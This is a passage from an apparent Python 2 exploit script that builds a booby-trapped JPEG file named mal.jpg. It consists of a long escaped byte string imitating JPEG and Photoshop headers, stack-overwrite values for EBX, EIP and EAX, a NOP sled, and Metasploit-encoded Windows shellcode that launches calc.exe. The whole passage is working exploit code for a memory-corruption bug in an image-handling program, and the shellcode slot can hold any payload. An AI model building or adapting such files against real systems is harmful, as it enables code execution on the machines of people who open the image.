9Cx1Dx5Bx99x8Fx69xF5xA3xD8x6Bx1ExA6xBFxBAxE6xFDx0DxAFxFAx2Bx17x35xCFxB6xF3xEAxB8xB5xEDxF6xFBx84xE8xDFx63x5AxDFxE4x7Bx53xC7x16x79x11x93x48xD6xB1xD8xFFx00x56x49x39x72x4Cx54xCFxA4x74x1Ax3Ax96x7Dx61xC1x9Fx6DxD3xB8x8FxA3xA3x5BxF0xFCxE5x83x65xB6x5BxB1xAExD7x63x76x30x01xDAx4BxBFxCEx73x9Cx93x59x2Ex33xA8x07xB2xBFxD3xCEx43x09x75x2Ex6Dx6Cx6ExB6x3Ex01x20x0ExFBx3Ex9BxFFx00x93xF9x8Ax51x8Ex18x41x31x1AxFFx00x58xA8x54x76x0Dx6Cx5CxFExA3x8Bx5BxEAxC3xB6xCAx9Bx77xD3x15x8Dx4Cx7Fx2Ax37x7Fx9Ax8ExE2xDBx31xEEx00x09xACx35xC0x7Fx24x86xB8x34x2Dx2Ax6CxC7xC6xC5xC9xB5x87xD4x6Dx2Fx3Bx40x91xBBx7BxBFx45xFEx72xABx94xFCx1BxABxB8x39xE1xB6x39xE5xF4x59xB4x97x00x5AxD7x7BxB6xFEx63xFEx82x61xCBxC7x2Fx90x81x13xF3x0Dx7Fx76x5Bx2ExE2xBDx0FxE8x95x59x95x9Dx9Bx8Dx8Fx83x91x91x65x98x98x01xDFx62xAEx44x31x8Fx77xE6xBAx37x3FxFBx7Fx99xFAx3FxE6xD0xAAxE9xDExADxCDxA8xB9xC1x65x16xC1xD3x99xDAx65xC7xE8xFBx1Cx87x56x69xAAx43xECx79x61xD0xEAxC0x11x1ExDDxBCxF0x87xF6xECxFBx08x0Dx79x01xC6x00x64x34x4FxF6x53x88xCAx6Ex88x1Dx2CxA0xC4x93x77xD1xDEx1Dx13x0Fx1Fx6CxB7xD5x81x20xBCxEEx1FxE6x7Dx05x71xC5xB6xA3xBBx7Bx05xA7x1DxA5xECx06x22x1Ax35xAFx59xF6x55x59x55x67xF5x3AxEAx73xEFx68xC8x0Dx12x48x70x0Ex00x0FxEAxB7x72xC9x7Fx50xEAx16x59xEAx1BxDExD3xC8x0Dx71x0Dx1Fx06x0Fx6Ax86x1Ex5Fx2Ex42x78xA6x0Fx0FxE9x5Fx13x1Fx01x3Bx90xFFx00xFFxD4xF2xF3x32x67x9ExA4xE2xA7x4CxEFxD3x8DxAExDDxF0x85x5Dx24x25xB1xF2x50x4BxD9x8AxDDx23x6CxEExEDx1CxA0xA4x92x1Dx96x7ExD4x81xEAx4FxA7x1AxFAx7Fx4BxFEx8FxB9x57xCFx99x6ExD8x89x7Fx33xBEx27xFCx26xF5x9Cx92xADx8FxE7x1Fx2FxF8x1Fx2FxF8x4Bx06xFDx37x74x30x3ExCDxBFxF5x8FxE6xE7x5Ex63xFFx00x03xF7xADx9Cx4FxB0x43xFExCBx3Bx7Fx3Bx76xFDxBFxF8x2FxB3x72xE5x92x4CxE6xB7x3Fx3FxD3xF9xAFxAAxA7xBBxD1x67x7FxC9x8DxFBx3FxA7xF6x5DxCDxF5x36x4ExFDxD3xF9xFBxBFx3BxE8xACxC7xC6xF1x3Cx43x7ExEDxA1x50x49x3Bx07xCAx7FxBDx2FxEFx7Fx85xFDx21x0ExBEx6DxF6xFDxE2xF4x1Fx6AxDDxE9x4BxF7x7Ax71x33xBBxFExA5x6Ax33xF6x27xA5xFAx1Fx4Ax76x3Bx6FxEFxCCx18xFAx5ExEFx57xF7x17x38x92x59xFAx7Fx39xB9xF9x3Ex4DxE5xBAx67xF5xFAx3Dx1Dx1Fx68xDCxCFx56x36x4Bx77x7Ax5Bx66x7BxEExF5xBFx35x64x3FxD3xF5x1DxE9x4FxA5xB8xECxDDx1BxB6xCFxB7x74x2Ax69x25x83xE6x96xDDx3Ex55x81xFFxD9x38x42x49x4Dx1Ex21x1Ax56x65x72x73x69x6Fx6Ex20x63x6Fx6Dx70x61x74x69x62x69x6Cx69x74x79x20x69x6Ex66x6Fx00x00x00x00x55x00x00x00x01x01x00x00x00x0Fx00x41x00x64x00x6Fx00x62x00x65x00x20x00x50x00x68x00x6Fx00x74x00x6Fx00x73x00x68x00x6Fx00x70x00x00x70x13x00x41x00x64x00x6Fx00x62x00x65x00x20x00x50x00x68x00x6Fx00x74x00x6Fx00x73x00x68x00x6Fx00x70x00x20x00x36x00x2Ex00x30x00x00x00x01x00x38x42x49x4Dx04x06x0Cx4Ax50x45x47x20x51x75x61x6Cx69x74x79x00x00x00x00x07x00x01x00x00x00x01x01x00xFFxEEx00x0Ex41x64x6Fx62x65x00x64x80x00x00x00x01xFFxDBx00x84x00x0Cx08x08x08x09x08x0Cx09x2Fx0Cx06x0Bx0Ax0Bx11x15x0Fx0Cx0Cx0Fx15x18x13x13x80x13x13x18x11x0Cx0Cx0Cx0Cx0Cx0Cx11x0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx38x0Cx01x0Dx0Bx0Bx0Dx0Ex0Dx10x0Ex0Ex10x14x0Ex0ExD2x14x14x0Ex0Ex0Ex0Ex14x10x0Cx0Cx0Cx0Cx0Cx11xA1x0Cx0Cx0Cx0Cx0Cx0Bx11x0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0CxFFxC0x00x11x08x02x58x03x20x03x01x31x00x02x11x01x03x11x01xFFxDDx00x04x00x32xFFxC4x01x3Fx00x00x01x05x01x01x01x01x01x01x00x00x00x00x00x00x00x03x00x01x02x04x05x06x07x08x09x0Ax0Bx01x00x01x05x01x01x01x01x5Fx01x00x00x00x00x00x00x00x01x00x02x03x04x05x06x07x08x09x0Ax0Bx10x00x01x04x01x03x02x04x02x05x07x06x08x05x03x0Cx33x01x00x02x11x03x04x21x12x31x05x41x51x61x13x22x71x81x32x06x14x91xA1xB1x42x23x24x15x52xC1x62x33x34x72x82xD1x43x07x25x92x53xF0xE1xF1x63x73x35x16xA2xB2x83x26x44x93x54x64x45xC2xA3x74x36x17xD2x55xE2x65xF2xB3x84xC3xD3x75xE3xEBx46x27x94xA4x85xB4x95xC4xD4x71xF4xA5xB5xC5xD5xE5xF5x56x66x76x86x96xA6xB6xC6xD6xE6xF6x37x47x57x67x77x87x97xA7xB7xC7xD7xE7xF7x11x00x02x02x01x02x04x04x03x04x05x06x07x07x06x05x35x01x00x02x11x03x21x31x12x04x41x51x61x71x55x13x05x32x81x91x14xA1xB1x42x23xC1x52xD1xF0x33x24x62xE1x72x82x92x43x53x15x63x73x34xF1x25x06x16x2ExB2x83x07x26x35xC2xD2x44x93x54xA3x17x64x45x55x36x74x65xE2xF2xB3x84xC3xD3x75xE3xF3x46x94xA4x85xB4x95xC4xD4xE4xF4xA5xB5xC5xD5xE5xF5x56x66x76x86x96xA6xB6xC6xD6xE6xF6x27xABx47x57x67x77x87x97xA7xB7xC7xFFxDAx00x0Cx03x01x00x02x11x03x11x00x3Fx00xA3xD5xF2xECxAFx08xCDxBBx64x7Dx19xD4xAEx0ExECx8Bx9Dx61x3ExA3x8Cx9Fx12xAFx75xACxFBx6FxC8x73x4Bx48xB3xC2xCBx54xF9x1Cx1ExD6x3Bx3BxCBx54x93xD1x9FxC6x77xFAx47x7DxE5x2Fx5AxEFxF4x8ExFBxCAx82x4AxDAxD6x7ExB5xDFxE9x1DxF7x94xBDx6BxBFxD2x3BxEFx2Ax09x24xA6x7ExBDxDFxE9x1DxF7x94xBDx6BxBFxD2x3BxEFx2Ax09x24xA6x7ExBDxDFxE9x1DxF7x94xFExB5xDFxE9x1DxF7x94x34x92x52x4Fx5ExEFxF4x8ExFBxCAxBFxD3xBAxC5xF8x6Fx0ExDCx69x3CxC9x59x89x26xCEx11x9Cx4Cx64x2Cx15x3Dx96x3FxD6xF6x3Cx43xC9x6AxB9x4Fx5FxA6xE3xB5xB6x41xF8xAEx09x4AxE4x9Fx5Bx83x9Ax60xAAx73xF8x6Ex23x7Cx37x12x8Ax0FxA4x53x93x6Dx9Fx9Cx7ExF5x61x8ExB0xEAx5Cx63xC2x4AxE0x99xF5x87x0Fx8Cx0Cx6BxB8x56x71"
d += "x86xf4x12x00" 	#EBX
d += "x42"*24				#Padding
d += "x86xf4x12x00"   	#EBX
d += "x43"*8				#Padding
d += "xA6xF4x12x00" 	#EIP - > 0012F4A6 on Stack
d += "x50"*12   			#Padding
d += "x86xf4x12x00"   	#EAX
d += "x90"*10				#NOPs

#windows/exec - 227 bytes
#http://www.metasploit.com
#Encoder: x86/shikata_ga_nai
#EXITFUNC=process, CMD=calc.exe, VERBOSE=false

d += ("xbdx86x9fx31x9bxdbxdfxd9x74x24xf4x58x31xc9xb1"
"x33x83xc0x04x31x68x0ex03xeex91xd3x6ex12x45x9a"
"x91xeax96xfdx18x0fxa7x2fx7ex44x9axffxf4x08x17"
"x8bx59xb8xacxf9x75xcfx05xb7xa3xfex96x79x6cxac"
"x55x1bx10xaex89xfbx29x61xdcxfax6ex9fx2fxaex27"
"xd4x82x5fx43xa8x1ex61x83xa7x1fx19xa6x77xebx93"
"xa9xa7x44xafxe2x5fxeexf7xd2x5ex23xe4x2fx29x48"
"xdfxc4xa8x98x11x24x9bxe4xfex1bx14xe9xffx5cx92"
"x12x8ax96xe1xafx8dx6cx98x6bx1bx71x3axffxbbx51"
"xbbx2cx5dx11xb7x99x29x7dxdbx1cxfdxf5xe7x95x00"
"xdax6exedx26xfex2bxb5x47xa7x91x18x77xb7x7dxc4"
"xddxb3x6fx11x67x9exe5xe4xe5xa4x40xe6xf5xa6xe2"
"x8fxc4x2dx6dxd7xd8xe7xcax27x93xaax7axa0x7ax3f"
"x3fxadx7cx95x03xc8xfex1cxfbx2fx1ex55xfex74x98"
"x85x72xe4x4dxaax21x05x44xc9xa4x95x04x20x43x1e"
"xaex3c")
raw_input('[*] Press Enter to generate the malicious JPEG file: ')
f = open('mal.jpg','w')
f.write(d)
f.close()
print "[*] Malicious JPEG File generated Successfully.."